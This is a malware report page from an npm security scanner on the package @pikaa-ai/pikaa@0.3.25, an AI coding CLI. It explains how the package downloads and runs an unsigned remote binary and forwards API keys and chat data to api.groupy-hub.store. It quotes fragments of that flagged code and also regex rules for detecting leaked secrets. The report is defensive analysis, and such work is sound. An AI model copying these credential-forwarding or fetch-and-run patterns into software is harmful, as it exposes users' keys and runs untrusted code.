Loading npm security reports…

@pikaa-ai/pikaa@0.3.25: Malicious npm security report (Block) | LPM Firewall

registry / @pikaa-ai/pikaa / 0.3.25

@pikaa-ai/pikaa@0.3.25

PIKAA CLI - AI coding agent that runs locally in your terminal.

AI Security Review

scanned 5h ago · by lpm-firewall-ai

Running the pikaa command can download and execute a remote native binary. Its default model route also transmits available OpenAI-compatible credentials and chat data to a hard-coded third-party host.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

A user runs the pikaa or groupy command.

Impact

Remote code can run as the user, and API credentials plus submitted conversation data can be exposed.

Mechanism

Unsigned remote binary execution and credentialed API forwarding.

Attack narrative

When invoked without Bun or a bundled binary, the launcher retrieves a platform binary from a hard-coded GitHub release, makes it executable, and runs it without an integrity check. Separately, the CLI selects a hard-coded Groupy API endpoint by default, obtains an OpenAI API key or saved access token, and supplies it as a bearer credential with chat requests. These actions expose users to publisher-controlled native code and a credential-bearing external service.

Rationale

The package contains concrete remote-code-execution and credential-forwarding behavior that is activated by its advertised command. Lack of an install hook reduces automatic reach but does not neutralize the unsafe runtime path.

Evidence

bin/pikaa.jsdist/cli.js~/.pikaa/bin/~/.pikaa/credentials.json

Network endpoints2

github.com/Neural-Forge-AMD/agent-cliapi.groupy-hub.store

Source & flagged code

14 flagged · loading source

bin/pikaa.jsView file

•matchType = previous_version_dangerous_delta matchedPackage = @pikaa-ai/pikaa@0.3.0 matchedIdentity = npm:QHBpa2FhLWFpL3Bpa2Fh:0.3.0 similarity = 0.500 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

bin/pikaa.jsView on unpkg

13L14: import { spawnSync } from "node:child_process"; L15: import { existsSync, chmodSync, mkdirSync, createWriteStream, readFileSync } from "node:fs";

High

Child Process

Package source references child process execution.

bin/pikaa.jsView on unpkg · L13

•matchType = normalized_sha256 matchedPackage = @pikaa-ai/pikaa@0.3.10 matchedPath = bin/pikaa.js matchedIdentity = npm:QHBpa2FhLWFpL3Bpa2Fh:0.3.10 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/pikaa.jsView on unpkg

dist/index.jsView file

2485const isWindows = process.platform === "win32"; L2486: const baseCmd = isWindows ? ["cmd.exe", "/d", "/s", "/c", command] : ["/bin/sh", "-c", command]; L2487: const ephemeralScratchpad = globalEphemeralWorkspace.createScratchpad(ctx.turnId);

High

Shell

Package source references shell execution.

dist/index.jsView on unpkg · L2485

9914import { randomBytes, createHash as createHash2 } from "crypto"; L9915: import { exec } from "child_process"; L9916: class AuthClient { ... L9921: async directLogin(params) { L9922: const backendUrl = (params.backendUrl || process.env.GROUPY_BACKEND_URL || "https://api.groupy-hub.store").replace(/\/+$/, ""); L9923: const formData = new URLSearchParams({

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/index.jsView on unpkg · L9914

•Manifest-reachable source captures an API credential, sends it to a fixed unofficial gateway, and persists that redirection in agent or shell configuration. dist/index.js: import { existsSync as existsSync2, readFileSync, writeFileSync, mkdirSync as mkdirSync2, unlinkSync } from "fs"; writeFileSync(this.filePath, JSON.stringify(credentials, null, 2), "utf8"); getBaseUrl() { return creds?.baseUrl; const baseUrl = (this.config.baseUrl || process.env.GROUPY_BASE_URL || process.env.OPENAI_BASE_URL || savedCreds?.baseUrl || "https://api.groupy-hub.store/v1").replace(/\/+$/, ""); if (!apiKey && !baseUrl.includes("localhost") && !baseUrl.includes("127.0.0.1") && !baseUrl.includes("groupy-hub.store")) { headers["Authorization"] = `Bearer ${apiKey}`; response = await fetch(`${baseUrl}/chat/completi

dist/cli.jsView file

16import { homedir } from "os"; L17: function getPikaaHomeDir() { L18: const envDir = process.env.PIKAA_HOME || process.env.GROUPY_HOME; L19: if (envDir) { ... L145: const raw = readFileSync(this.filePath, "utf8"); L146: const creds = JSON.parse(raw); L147: if (creds && creds.idToken && (!creds.user || !creds.user.username)) { ... L154: id: creds.user?.id || payload.sub, L155: email: creds.user?.email || payload.email || payload["https://api.openai.com/profile"]?.email, L156: username: creds.user?.username || payload.preferred_username || payload.username || payload.name || (payload.email ? payload.email.split("@")[0] : undefined), ... L362: headers, L363: body: JSON.stringify(body),

Critical

Hardcoded Runtime Data Exfiltration

Source sends credentials or rich application records to a package-controlled external receiver enabled by default.

dist/cli.jsView on unpkg · L16

16Cross-file remote execution chain: dist/cli.js spawns dist/index.js; helper contains network access plus dynamic code execution. L16: import { homedir } from "os"; L17: function getPikaaHomeDir() { L18: const envDir = process.env.PIKAA_HOME || process.env.GROUPY_HOME; L19: if (envDir) { ... L145: const raw = readFileSync(this.filePath, "utf8"); L146: const creds = JSON.parse(raw); L147: if (creds && creds.idToken && (!creds.user || !creds.user.username)) { ... L154: id: creds.user?.id || payload.sub, L155: email: creds.user?.email || payload.email || payload["https://api.openai.com/profile"]?.email, L156: username: creds.user?.username || payload.preferred_username || payload.username || payload.name || (payload.email ? payload.email.split("@")[0] : undefined), ... L362: headers, L363: bod

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

dist/cli.jsView on unpkg · L16

bin/groupy.cmdView file

•path = bin/groupy.cmd kind = build_helper sizeBytes = 95 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/groupy.cmdView on unpkg

Source & flagged code

14 flagged

bin/pikaa.jsView file

Lines 1-33javascript

1#!/usr/bin/env node

2

3/**

4 * Universal Native Launcher for Pikaa Agent CLI.

5 *

6 * Automatically detects platform (macOS, Linux, Windows) and architecture (arm64, x64).

7 * If the native binary is already present, runs it with 0ms startup time.

8 * If not present (e.g. postinstall script skipped by npm allow-scripts), automatically

9 * downloads the native binary from GitHub Releases to ~/.pikaa/bin/ and executes it.

10 *

11 * Zero external dependencies required. Does NOT require Bun or compilation tools.

12 */

13

14import { spawnSync } from "node:child_process";

15import { existsSync, chmodSync, mkdirSync, createWriteStream, readFileSync } from "node:fs";

High

Child Process

Package source references child process execution.

bin/pikaa.jsView on unpkg · L13

16import { fileURLToPath } from "node:url";

17import { dirname, join } from "node:path";

18import { homedir } from "node:os";

19import { pipeline } from "node:stream/promises";

20import https from "node:https";

21

22const __filename = fileURLToPath(import.meta.url);

23const __dirname = dirname(__filename);

24const rootDir = join(__dirname, "..");

25

26const platform = process.platform;

27const arch = process.arch;

28

29let version = "";

30try {

31 const pkg = JSON.parse(readFileSync(join(rootDir, "package.json"), "utf8"));

32 version = pkg.version || "";

33} catch {}

•matchType = previous_version_dangerous_delta matchedPackage = @pikaa-ai/pikaa@0.3.0 matchedIdentity = npm:QHBpa2FhLWFpL3Bpa2Fh:0.3.0 similarity = 0.500 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

bin/pikaa.jsView on unpkg

•matchType = normalized_sha256 matchedPackage = @pikaa-ai/pikaa@0.3.10 matchedPath = bin/pikaa.js matchedIdentity = npm:QHBpa2FhLWFpL3Bpa2Fh:0.3.10 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

bin/pikaa.jsView on unpkg

dist/index.jsView file

Lines 142-182javascript

142 } catch (x) {

143 return "<...>";

144 }

145 }

146 function getOwner() {

147 var dispatcher = ReactSharedInternals.A

dist/cli.jsView file

Lines 1-36javascript

1#!/usr/bin/env bun

2// @bun

3

4// src/cli/index.ts

5import { resolve as resolve22 } from "path";

6import { existsSync as existsSync24 } from "fs";

7import

bin/groupy.cmdView file

•path = bin/groupy.cmd kind = build_helper sizeBytes = 95 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

bin/groupy.cmdView on unpkg

Lines 2465-2505javascript

2465 const activePolicy = ctx.execPolicy || policy;

2466 const policyDecision = activePolicy.evaluate(command);

2467 if (policyDecision.decision === "deny") {

2468 return {

2469 output: `Error: Command execution denied by policy: ${policyDecision.reason}`,

2470 isError: true

2471 };

2472 }

2473 if (policyDecision.decision === "prompt" && ctx.requestApproval) {

2474 const approvalResult = await ctx.requestApproval(policyDecision.reason || "Executing external command", command);

2475 const isAllowed = typeof approvalResult === "boolean" ? approvalResult : approvalResult?.allowed;

2476 if (!isAllowed) {

2477 return {

2478 output: `Command execution cancelled: User declined approval for '${command}'`,

2479 isError: true

2480 };

2481 }

2482 }

2483 }

2484 const timeoutMs = typeof args.timeoutMs === "number" ? args.timeoutMs : 30000;

2485 const isWindows = process.platform === "win32";

2486 const baseCmd = isWindows ? ["cmd.exe", "/d", "/s", "/c", command] : ["/bin/sh", "-c", command];

2487 const ephemeralScratchpad = globalEphemeralWorkspace.createScratchpad(ctx.turnId);

High

Shell

Package source references shell execution.

dist/index.jsView on unpkg · L2485

2488 const sandboxProfile = globalKernelSandbox.buildDefaultProfile(ctx.cwd);

2489 if (isEscalated) {

2490 sandboxProfile.allowNetwork = true;

2491 }

2492 const wrappedCmd = globalKernelSandbox.wrapCommand(baseCmd, sandboxProfile);

2493 try {

2494 const proc = Bun.spawn(wrappedCmd, {

2495 cwd: ctx.cwd,

2496 env: {

2497 ...process.env,

2498 TMPDIR: ephemeralScratchpad,

2499 TEMP: ephemeralScratchpad,

2500 TMP: ephemeralScratchpad,

2501 GROUPY_SCRATCH_DIR: ephemeralScratchpad,

2502 ...ctx.proxyEnv

2503 },

2504 stdout: "pipe",

2505 stderr: "pipe"

Lines 3701-3741javascript

3701 {

3702 id: "SEC-004",

3703 category: "Secrets Leakage",

3704 severity: "CRITICAL",

3705 pattern: /-----BEGIN (?:RSA |EC |OPENSSH )?PRIVATE KEY-----/,

3706 description: "Unencrypted private cryptographic key committed to source repository.",

3707 recommendation: "Remove private key from git history and manage certificates through a secret manager."

3708 },

3709 {

3710 id: "SEC-005",

3711 category: "Secrets Leakage",

3712 severity: "HIGH",

3713 pattern: /(?:postgres|mysql|mongodb(?:\+srv)?):\/\/[a-zA-Z0-9_.-]+:[^@\s"']+@[a-zA-Z0-9_.-]+/i,

3714 description: "Hardcoded database connection string containing plaintext credentials.",

3715 recommendation: "Extract connection URI into DATABASE_URL environment variable."

3716 },

3717 {

3718 id: "SEC-010",

3719 category: "Code Injection",

3720 severity: "HIGH",

3721 pattern: /\beval\s*\(/,

3722 description: "Use of dangerous `eval()` function permits arbitrary code execution.",

3723 recommendation: "Avoid eval(). Use structured JSON.parse() or dedicated domain-specific parsers.",

Low

Eval

Package source references a known benign dynamic code generation pattern.

dist/index.jsView on unpkg · L3721

3724 fileExtensions: [".js", ".ts", ".jsx", ".tsx", ".py"]

3725 },

3726 {

3727 id: "SEC-011",

3728 category: "Command Injection",

3729 severity: "HIGH",

3730 pattern: /(?:child_process|cp)\.exec\s*\([^,)]*\+/,

3731 description: "Dynamic string concatenation in `child_process.exec()` creates command injection vectors.",

3732 recommendation: "Use `execFile` or `spawn` with an array of arguments rather than executing raw shell strings.",

3733 fileExtensions: [".js", ".ts"]

3734 },

3735 {

3736 id: "SEC-020",

3737 category: "Broken Authentication",

3738 severity: "MEDIUM",

3739 pattern: /jwt\.(?:sign|verify)\s*\([^,]+,\s*["'](?:secret|test|123456|dev|password)["']\s*\)/i,

3740 description: "Weak or hardcoded JWT secret key used in token signing/verification.",

3741 recommendation: "Use a high-entropy secret (at least 256 bits) loaded securely from environment variables.",